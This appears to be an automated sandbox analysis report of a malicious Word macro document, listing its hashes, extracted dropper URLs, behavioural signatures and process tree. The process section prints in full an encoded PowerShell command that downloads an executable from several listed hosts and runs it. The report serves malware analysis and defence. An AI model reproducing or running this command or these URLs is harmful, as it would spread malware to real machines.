Analysis

  • max time kernel
    121s
  • max time network
    51s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    21-05-2022 03:53

General

  • Target

    sample.doc

  • Size

    249KB

  • MD5

    850d33570779d1f3b1d4715dda7dbd69

  • SHA1

    cae32953f99a79bd3793de0a3592701039952c77

  • SHA256

    8dc53146fa1fa554598b41a8473bb728a08c62da3ad00731d4d4e83a3435232b

  • SHA512

    78d9e66be187139c6a7c0df4d699ffd038db2373e498aea50f0926e4cac374526aadfe5d4b91fca6b72d1482db81ee610d490915d409ca709000a33affdbbe9e

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.agentstepp.com/ww12/6ZI/

exe.dropper

http://badaia.net/baiaseu/m4G4chJ/

exe.dropper

http://www.bambagiotti.it/shop/ymwU6/

exe.dropper

http://bbcalegal.com/attachments/AAyd/

exe.dropper

http://mezes.de/title_htm_files/Mb/

exe.dropper

http://computerfastfix.co.uk/css/DXj/

exe.dropper

http://sacentrs.lv/wp-content/uploads/2018/Cc/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1560
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABOAHYANABoADkAXwAyAD0AKAAoACcATgBwACcAKwAnAGYAegBtACcAKQArACcAbQBpACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBwAFIATwBmAGkAbABlAFwAbAA3ADAAZwBFADAAMgBcAEsARQByAGkAZgB4ADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAUgBpAFQAYABZAGAAUABSAE8AVABvAGMAYABvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxACcAKQArACgAJwAyACwAJwArACcAIAB0AGwAJwArACcAcwAxACcAKQArACgAJwAxACwAIAAnACsAJwB0AGwAJwApACsAJwBzACcAKQA7ACQASwBqAGwAaQBpADAAegAgAD0AIAAoACcATABmACcAKwAoACcAcQAnACsAJwBnAHcAMwAnACkAKQA7ACQASwByAHgAOAAzAGMAaQA9ACgAJwBUACcAKwAnAHIAJwArACgAJwBkADEAJwArACcAeABmAHMAJwApACkAOwAkAEoAaABfAGwANwB0AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBWAHgAJwArACcAdwAnACkAKwAnAEwANwAnACsAJwAwAGcAJwArACgAJwBlADAAJwArACcAMgBWAHgAJwArACcAdwBLAGUAcgBpACcAKQArACgAJwBmAHgANAAnACsAJwBWAHgAJwApACsAJwB3ACcAKQAgACAALQBjAFIAZQBQAEwAYQBjAGUAIAAgACgAJwBWAHgAJwArACcAdwAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQASwBqAGwAaQBpADAAegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEwAZQAyAHgAegA0AGIAPQAoACcAQgAnACsAKAAnADgAbgAzAGEAJwArACcAZwB4ACcAKQApADsAJABVAHIAawBnAG8AOABrAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAGUAbgB0ADsAJABUAF8AZwB1ADAAeAB2AD0AKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBhACcAKQArACcAZwBlACcAKwAoACcAbgB0ACcAKwAnAHMAdABlAHAAcAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAnACsAJwAvAHcAJwApACsAKAAnAHcAMQAnACsAJwAyACcAKwAnAC8ANgBaAEkALwAqAGgAdAB0AHAAOgAvAC8AYgAnACsAJwBhACcAKwAnAGQAJwArACcAYQAnACkAKwAnAGkAYQAnACsAJwAuAG4AJwArACgAJwBlAHQAJwArACcALwBiACcAKQArACgAJwBhAGkAJwArACcAYQBzACcAKQArACcAZQB1ACcAKwAnAC8AbQAnACsAKAAnADQARwAnACsAJwA0ACcAKQArACgAJwBjACcAKwAnAGgASgAnACkAKwAoACcALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYgBhACcAKwAnAG0AJwApACsAJwBiAGEAJwArACgAJwBnACcAKwAnAGkAbwB0AHQAaQAuACcAKwAnAGkAdAAnACkAKwAnAC8AcwAnACsAKAAnAGgAbwBwAC8AJwArACcAeQBtACcAKwAnAHcAJwArACcAVQA2AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGIAYgBjAGEAJwArACcAbABlAGcAYQAnACkAKwAnAGwAJwArACcALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAYQB0ACcAKwAnAHQAJwApACsAJwBhACcAKwAnAGMAJwArACgAJwBoAG0AJwArACcAZQAnACkAKwAnAG4AdAAnACsAJwBzACcAKwAnAC8AQQAnACsAJwBBAHkAJwArACgAJwBkAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwBtACcAKQArACcAZQAnACsAJwB6ACcAKwAnAGUAJwArACgAJwBzACcAKwAnAC4AZABlACcAKQArACgAJwAvAHQAJwArACcAaQAnACkAKwAoACcAdAAnACsAJwBsAGUAXwAnACkAKwAnAGgAdAAnACsAKAAnAG0AXwAnACsAJwBmAGkAbAAnACkAKwAnAGUAJwArACcAcwAnACsAKAAnAC8ATQAnACsAJwBiAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AYwBvACcAKwAnAG0AcAB1AHQAZQAnACsAJwByACcAKQArACcAZgAnACsAKAAnAGEAJwArACcAcwB0ACcAKQArACgAJwBmAGkAeAAuAGMAJwArACcAbwAnACkAKwAnAC4AJwArACgAJwB1AGsALwAnACsAJwBjAHMAcwAvACcAKQArACgAJwBEACcAKwAnAFgAagAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AJwArACcAcwBhACcAKwAnAGMAZQBuACcAKwAnAHQAJwArACcAcgBzACcAKQArACgAJwAuAGwAJwArACcAdgAvAHcAJwApACsAKAAnAHAALQAnACsAJwBjAG8AbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKQArACgAJwB1AHAAbAAnACsAJwBvACcAKQArACcAYQAnACsAJwBkAHMAJwArACgAJwAvACcAKwAnADIAMAAxADgALwBDAGMAJwArACcALwAnACkAKQAuACIAUwBgAFAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGEAbwAyAGsAYwBfAD0AKAAnAEgANAAnACsAKAAnAG8AaABqACcAKwAnAHgAdwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAZgB3ADgAYgB1ADkAIABpAG4AIAAkAFQAXwBnAHUAMAB4AHYAKQB7AHQAcgB5AHsAJABVAHIAawBnAG8AOABrAC4AIgBkAG8AYAB3AE4AYABMAG8AYABBAEQAZgBpAGwARQAiACgAJABCAGYAdwA4AGIAdQA5ACwAIAAkAEoAaABfAGwANwB0AHIAKQA7ACQAWQB2AGEAYgA3AGUAOAA9ACgAKAAnAEsAeAA3ACcAKwAnADYAegAnACkAKwAnAHIAdwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASgBoAF8AbAA3AHQAcgApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADMAMQA4ADEANwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABKAGgAXwBsADcAdAByACkAOwAkAE0AMAB3ADIAMwBqAG8APQAoACcAUABuACcAKwAoACcANwBwACcAKwAnADYAMgAnACkAKwAnAG8AJwApADsAYgByAGUAYQBrADsAJABLADUAcABnAHYAMgB4AD0AKAAnAFUAbQAnACsAKAAnAHkAJwArACcAaABlACcAKQArACcAcQA1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBuADMAegBfAGgAZwA9ACgAKAAnAFEAJwArACcAOQBqACcAKQArACcAMwBhACcAKwAnAGgAdgAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1912

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1560-70-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-61-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1560-54-0x0000000072101000-0x0000000072104000-memory.dmp
      Filesize

      12KB

    • memory/1560-58-0x0000000070B6D000-0x0000000070B78000-memory.dmp
      Filesize

      44KB

    • memory/1560-59-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-60-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-72-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-63-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-62-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-64-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-66-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-65-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-71-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-67-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-69-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-57-0x00000000752B1000-0x00000000752B3000-memory.dmp
      Filesize

      8KB

    • memory/1560-55-0x000000006FB81000-0x000000006FB83000-memory.dmp
      Filesize

      8KB

    • memory/1560-68-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-73-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-74-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-76-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-75-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-79-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-80-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-78-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-77-0x0000000000526000-0x000000000052A000-memory.dmp
      Filesize

      16KB

    • memory/1560-87-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1912-83-0x00000000023C4000-0x00000000023C7000-memory.dmp
      Filesize

      12KB

    • memory/1912-82-0x000007FEF2FC0000-0x000007FEF3B1D000-memory.dmp
      Filesize

      11.4MB

    • memory/1912-84-0x00000000023CB000-0x00000000023EA000-memory.dmp
      Filesize

      124KB

    • memory/1912-81-0x000007FEFB611000-0x000007FEFB613000-memory.dmp
      Filesize

      8KB

    • memory/1980-85-0x0000000000000000-mapping.dmp